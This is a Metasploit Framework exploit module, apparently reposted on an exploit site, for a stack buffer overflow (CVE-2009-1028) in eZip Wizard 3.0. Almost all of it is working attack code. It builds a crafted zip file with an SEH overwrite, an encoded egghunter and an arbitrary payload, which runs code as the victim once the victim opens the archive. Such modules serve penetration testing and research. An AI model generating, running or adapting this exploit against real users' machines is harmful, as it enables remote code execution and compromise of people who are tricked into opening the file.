ExploitFixes
eZip Wizard 3.0 Stack Buffer Overflow - [CVE: 2009-1028] 2011-04-26 16:15:06

##
# $Id: ezip_wizard_bof.rb 12428 2011-04-25 01:06:34Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex/zip'


class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
include Msf::Exploit::Remote::Egghunter

def initialize(info = {})
super(update_info(info,
'Name' => 'eZip Wizard 3.0 Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability in
version 3.0 of ediSys Corp.'s eZip Wizard.

In order for the command to be executed, an attacker must convince someone to
open a specially crafted zip file with eZip Wizard, and access the specially
file via double-clicking it. By doing so, an attacker can execute arbitrary
code as the victim user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'fl0 fl0w', #Initial discovery, poc
'jduck', #Metasploit
'Lincoln', #Complete Metasploit port
],
'Version' => '$Revision: 12428 $',
'References' =>
[
[ 'CVE', '2009-1028' ],
[ 'OSVDB', '52815' ],
[ 'BID', '34044' ],
[ 'URL', 'http://www.edisys.com/' ],
[ 'URL', 'http://www.exploit-db.com/exploits/8180' ],
[ 'URL', 'http://www.exploit-db.com/exploits/12059/' ],
],
'Platform' => [ 'win' ],
'Payload' =>
{
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
},
'Targets' =>
[
['Windows Universal', { 'Offset' => 58, 'Ret' => 0x10020710 }],
],
'DisclosureDate' => 'Mar 09 2009',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),
OptString.new('USERNAME', [ true, 'Username', ''])
], self.class)

end

def exploit

#These badchars do not apply to the final payload
badchars = "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x2F\x5c\x3c\x3e\x5e\x7e"

eggoptions =
{
:checksum => true,
:eggtag => 'w00t'
}

hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions)

[ 'x86/alpha_mixed'].each { |name|
enc = framework.encoders.create(name)
if name =~/alpha/
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'ESP' })
end
hunter = enc.encode(hunter, nil, nil, platform)
}

#Username length affects our offset to hit SEH correctly
if datastore['USERNAME'].length >= 9
padding = rand_text_alpha(target['Offset'] - 8)
else
padding = rand_text_alpha(target['Offset'] - datastore['USERNAME'].length)
end

fname = padding
fname << "\x61\x61\x7a\x04" #nseh, align + conditional jmp
fname << [target.ret].pack('V') #seh
fname << "\x61" * 29 #align for hunter
fname << "\x58\x58\x41" #align for hunter
fname << hunter
fname << egg

zip = Rex::Zip::Archive.new
xtra = [0xdac0ffee].pack('V')
comment = [0xbadc0ded].pack('V')
zip.add_file(fname, xtra, comment)

# Create the file
print_status("Creating '#{datastore['FILENAME']}' file...")

file_create(zip.pack)
end

end